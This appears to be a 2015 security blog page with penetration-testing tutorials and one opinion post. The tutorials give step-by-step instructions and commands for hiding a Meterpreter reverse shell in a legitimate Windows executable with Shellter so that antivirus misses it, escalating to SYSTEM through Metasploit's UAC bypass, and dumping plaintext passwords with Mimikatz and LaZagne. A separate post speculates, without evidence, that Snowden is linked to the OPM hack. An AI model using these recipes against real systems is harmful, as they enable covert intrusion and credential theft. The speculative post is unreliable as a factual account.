Anti-Virus Bypass with Shellter 4.0 on Kali Linux

•July 12, 2015 • 3 Comments

Having trouble getting a Meterpreter shell past that pesky AV? Check out the new Shellter 4.0 shell obfuscation program!

The latest version of Shellter for pentesters was revealed at B-Sides Lisbon earlier this month. Updates include increased obfuscation through a custom encoder and polymorphic decoder. Also this version saves a few steps by including the most common Meterpreter shells.

Shellter works by taking a legit Windows .exe file, adds the shell code to it and then does a great job of modifying the file for AV bypass. The program’s automatic mode makes the whole process very pain free. In this tutorial I used the latest version of Kali Linux and a Windows 7 Virtual Machine.

So enough talk, let’s see it in action!

1. Download and install “shellter” ( https://www.shellterproject.com/download/ )

**Note: the Kali repos apparently don’t contain the newest 4.0 version yet. To get the latest, instead of using ‘apt-get install shellter’, just download and extract the ZIP file to the “/etc/share” folder.

2. Grab “plink.exe” from Kali’s ‘usr/share/windows-binaries’ directory and copy it into the Shellter directory.

3. Start Shellter – ‘shellter’ from the terminal or use ‘wineconsole shelter’ from ‘/etc/share/shellter’ if you manually installed.

av bypass shellter 111

4. Choose ‘A’ for Automatic Mode

5. At the PE Target Prompt, enter “plink.exe”

6. When prompted for Payloads select “L” and then “1”

av bypass shellter 21

7. Next, enter the IP address of your Kali system (mine is 192.168.1.39)

8. And the port to use (I used 5555)

av bypass shellter 311

Shellter will obfuscate the code and crunch for a while. Then you should see:

Shellter Kali AV 411

Success!

9. Now we need to start a listener service on the Kali system using the same settings from above:

• start Metasploit (‘msfconsole’ in a terminal)
• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set lhost 192.168.1.39
• set lport 5555
• exploit

10. Now that Kali is waiting for a connection. Copy our evil plink.exe command to the Windows 7 system and run it:

Shellter Kali AV 5

And we have a shell!

Shellter Kali AV 6

Compare the size of the backdoored exe to the original one. They are the exact same size! Now upload the backdoored exe to Virustotal and scan it for malicious content:

Shellter Kali AV 7

One (!) anti-virus engine detected it as malicious. And it was not a mainstream AV normally found in companies…

Conclusion

As you can see, a backdoored file that will bypass AV can be created pretty easily. AV is great but it can’t stop everything, you need to train your company users to be vigilant when using internet sites, social media and e-mail. Avoid suspicious websites, don’t allow website popups or warnings to install anything and never open unsolicited or suspicious attachments in e-mails. If you don’t know if you should click on something, ask your IT department. A little user vigilance can go a long way at protecting your network!

(Post Updated 7/13/15 – Changed command from “wine shellter” to “wineconsole shellter” and updated pictures accordingly.)

System level Access and Plain Text Passwords using Bypass UAC and Mimikatz

•July 4, 2015 • 4 Comments

If you can get a remote shell during a penetration test, Metasploit’s Bypass UAC module is great for disabling that pesky UAC and escalating an account with admin privileges to the all powerful System level access. The problem is it doesn’t seem to work anymore – so let’s see what changed and get some plain text passwords while we are at it!

Its been a while since I have used Metasploit’s Bypass UAC module and when I went to use it recently, it kept erroring out. Once you had a remote shell with Metasploit all you used to have to do was call the Bypass UAC module, set the session number of the active session and run it. The solution is simple, the module usage has changed slightly.

We will start with an active session to a Windows 7 system:

BypassUAC Metasploit 1

From here, enter:

  • use exploit/windows/local/bypassuac_injection
  • set session 1
  • set payload windows/meterpreter/reverse_tcp
  • set lhost [Kali’s IP Address]
  • set lport 4545 (Important: use a different port from one used for original shell)
  • exploit

This should execute the Bypass UAC module, creating a new session with UAC disabled:

BypassUAC Metasploit 2

Now if we type “getsystem” it should work, as verified by “getuid”:

BypassUAC Metasploit 3

Now that we have a System level shell, what can we do?

Pretty much anything we want. Recover clear text passwords you say? Sure!

Type, “load kiwi“:

BypassUAC Mimikatz 4

Then type, “creds_all“:

BypassUAC Mimikatz 5

Oh look, user “Dan” is using the hyper secure password of “password” – Yikes, not good!

Bypass UAC is now a full exploit module, which means that you need to actually set a payload for it. I recommend using the same one that you got the original shell with. But make sure that when you set up the payload for Bypass UAC that you select a different port number for it to use or it will error out. So on mine, the port used to create session one was 4444, so I chose port 4545 for the UAC exploit.

Lastly, once we had the second shell created by Bypass UAC, we quickly elevated our privileges to system level with the “getsystem” command. Lastly, we used the amazing Mimikatz “Kiwi” extension to grab the plain text passwords for the win!

Want to learn how to use Metasploit and a whole lot more? Check out my book, “Basic Security Testing with Kali Linux” – Also a follow up book is coming out very soon!

Snowden and the OPM Government Hack, Does 1+1 = Traitor?

•June 14, 2015 • 3 Comments

snowden and putin

I have talked to several current and former government employees and this has been on my mind a lot today, so I thought I would throw it out there. Could Snowden’s intelligence files cracked by China and Russia be directly related to the OPM government hack?

Though many see Snowden as a privacy rights hero, in my mind he is firmly in the traitor column. Granted he exposed the depth of NSA spying on American citizens, but is that enough to ignore everything else he has done? Has there been any other time in the history of the US that a member of an intelligence agency fled to (China and then) Russia for asylum, taking with them almost 2 million secret documents, leaked other classified information that put US & allied tactics at risk and not been considered a traitor?

The encrypted files that Snowden took with him that he arrogantly considered “uncrackable” have, according to the Sunday Times, been cracked by both the Russians and Chinese. And the information in these files have forced the British MI6 to “pull agents out of live operations in hostile countries”.

But the issues isn’t that they just needed to remove agents from countries. According to BBC political correspondent Chris Mason, “the problem for UK authorities was not only the direct consequence that agents had been moved, but also the opportunity cost of those agents no longer being in locations where they were doing useful work“.

Basically these agents were “outed”. Their lives could have been at risk and it may even be hard to get replacement agents back into certain positions to restore the human intelligence links that were destroyed by Snowden’s “indiscretion”.

What has the effect of this been on the US? I wonder how the Chinese know to hack Anthem earlier this year that provided health insurance for many Federal Employees? And how is it that reportedly the exact same Chinese group hacked the OPM and recovered millions of government employees records including the very sensitive SF-86 security clearance forms?

Granted the OPM systems should have been better secured, as they monitored the Anthem hack earlier this year. An agency spokesman told Nextgov,OPM is closely monitoring the situation. Anthem informed OPM that it shut down the network in question and is working to ensure the security of its systems as it investigates the extent of the breach.”

Is Snowden to blame? As all the documents are classified we may never know. But if the Anthem and OPM hack can be traced back to the files stolen by Snowden, hopefully then the general public will see him as his actions seem to portray him.

 

The LaZagne Project dumps 22 Different Program Passwords

•May 23, 2015 • Leave a Comment

LaZagne Passwords

The LaZagne Project by Alessandro ZANNI is a nifty little utility that displays passwords for 22 Windows and 12 Linux programs. This is a nice tool for penetration testers when you want to quickly dump passwords after you gain access to a system.

For Windows, simply download the standalone version and run it. Running “laZagne.exe all” will dump all the passwords that it can find:

LaZagne 2

You need to have administrator access to pull user login passwords. For “verbose” mode, which adds additional information when it runs, simply add a “-v” switch. If you just want to pull individual passwords, simply run the program using one of the modules below:

LaZagne Password modules

According to the The LaZagne Project webpage it can display the following passwords:

LaZagne Password modules 2

LaZagne works fast and easy!

 

 
Follow

Get every new post delivered to your Inbox.

Join 331 other followers